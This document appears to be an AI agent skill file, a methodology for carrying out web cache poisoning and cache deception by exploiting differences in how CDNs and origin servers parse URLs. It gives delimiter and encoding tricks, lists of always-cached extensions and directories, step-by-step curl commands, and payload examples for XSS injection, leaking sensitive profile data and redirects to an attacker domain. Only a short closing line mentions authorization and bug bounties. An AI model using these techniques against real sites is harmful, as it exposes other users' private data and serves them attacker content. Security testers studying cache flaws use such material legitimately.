Cache Poisoning via URL Discrepancies
This skill helps you perform cache poisoning attacks by exploiting discrepancies between how cache proxies and web servers parse and normalize URLs.
Core Concept
The goal is to make the cache server think a static resource is being loaded so it caches the response, while the cache key differs from what the origin server actually resolves. This allows you to:
- Cache dynamic responses (containing sensitive user data)
- Inject malicious payloads (XSS, redirects)
- Serve attacker-controlled content to other users
Attack Methodology
Step 1: Identify URL Delimiters
Different frameworks and servers use different delimiters that can be exploited:
| Delimiter | Framework/Server | Example |
|---|---|---|
; (semicolon) |
Spring | /hello;var=a/world → /hello/world |
. (dot) |
Ruby on Rails | /MyAccount.css → /MyAccount |
%00 (null byte) |
OpenLiteSpeed | /MyAccount%00aaa → /MyAccount |
%0a (newline) |
Nginx | /users/MyAccount%0aaaa → /account/MyAccount |
Testing Process:
- Identify non-cacheable requests to monitor URL handling
- Append random suffixes to paths and compare responses
- Introduce potential delimiters before the suffix to see if responses change
Step 2: Test Encoding Discrepancies
Cache and origin servers decode URLs differently. Test by:
- Load a path without encoding and note the response
- Send the same path with URL-encoded characters
- Check if the encoded path response came from cache
Example:
- Request
/myAccount%3Fparam(where%3F=?) - If cache stores
/myAccount%3Fparambut origin resolves/myAccount?param, you have a discrepancy
Step 3: Test Dot Segment Normalization
Some servers normalize dot segments differently:
/static/../home/indexmight be cached as-is- Origin might resolve it to
/home/index
Test patterns:
/static/../home/index/aaa..\home/index/static/..%2Fhome(URL-encoded forward slash)/static/..%5Chome(URL-encoded backslash)
Step 4: Exploit Static Resource Caching
Many CDNs always cache certain file types and directories:
Cloudflare always caches these extensions:
7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst,
avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin,
ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps,
jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac,
mid, pls, tar, xlsx
Well-known static directories:
/static, /assets, /wp-content, /media, /templates, /public, /shared
Always-cached files:
/robots.txt, /favicon.ico, /index.html
Exploitation patterns:
Delimiter + static extension:
- Request:
/home$image.png - Cache stores:
/home$image.png - Origin responds:
/home
- Request:
Static directory + dots:
- Request:
/home/..%2fstatic/something - Cache stores:
/static/something - Origin responds:
/home
- Request:
Static file + dots:
- Request:
/home/..%2Frobots.txt - Cache stores:
/robots.txt - Origin responds:
/home
- Request:
Practical Testing Workflow
1. Reconnaissance
# Check if target uses a CDN
whois example.com
# Look for CDN headers in responses
2. Cache Detection
# Send same request twice, check for cache headers
curl -I https://example.com/test
# Look for: X-Cache, X-Cache-Hit, Age, CF-Cache-Status
3. Delimiter Testing
# Test semicolon delimiter
curl "https://example.com/home;test=value"
# Test dot delimiter
curl "https://example.com/home.test"
# Test null byte
curl "https://example.com/home%00test"
# Test newline
curl "https://example.com/home%0atest"
4. Encoding Testing
# Test various encodings of the same character
curl "https://example.com/home%3Fparam=value"
curl "https://example.com/home%253Fparam=value"
curl "https://example.com/home%25253Fparam=value"
5. Static Resource Testing
# Test with static extension
curl "https://example.com/admin$image.png"
# Test with static directory
curl "https://example.com/admin/..%2Fstatic/test.js"
# Test with always-cached file
curl "https://example.com/admin/..%2Frobots.txt"
Payload Examples
XSS Injection
# Poison cache with XSS payload
curl "https://example.com/home/..%2Fstatic/malicious.js" \
-H "X-Forwarded-For: <victim-ip>"
# The cache stores /static/malicious.js
# But origin serves /home with XSS payload
Sensitive Data Exposure
# Cache user-specific data as "static"
curl "https://example.com/user/profile$image.png"
# Cache stores /user/profile$image.png
# Origin serves /user/profile (with sensitive data)
# Other users requesting /user/profile get cached sensitive data
Redirect Attack
# Cache a redirect to attacker-controlled domain
curl "https://example.com/login/..%2Fstatic/redirect.js"
# Cache stores /static/redirect.js
# Origin serves /login with redirect to attacker.com
Verification
After attempting cache poisoning:
- Check cache headers - Look for
X-Cache: HITorCF-Cache-Status: HIT - Request from different IP - See if you get the poisoned response
- Check cache key - Use browser dev tools or proxy to see what's cached
- Compare responses - Ensure the cached response differs from what origin would normally serve
Common Targets
- Applications behind Cloudflare, CloudFront, Fastly, Akamai
- Sites with mixed static/dynamic content
- Applications with user-specific data in URLs
- Sites with authentication bypass potential
Mitigation Indicators
If you see these, the target may be protected:
- Strict cache key configuration
- No caching of dynamic content
- Proper URL normalization on both cache and origin
- Cache bypass headers for authenticated requests
Tools
- Burp Suite - For intercepting and modifying requests
- curl - For quick testing
- Custom scripts - For automated delimiter/encoding testing
- Browser DevTools - For inspecting cache headers
Important Notes
- Always get proper authorization before testing
- Document findings carefully for bug bounty reports
- Some discrepancies may be intentional (e.g., for A/B testing)
- False positives are common - verify by testing from different IPs
- Cache behavior can vary by region and CDN configuration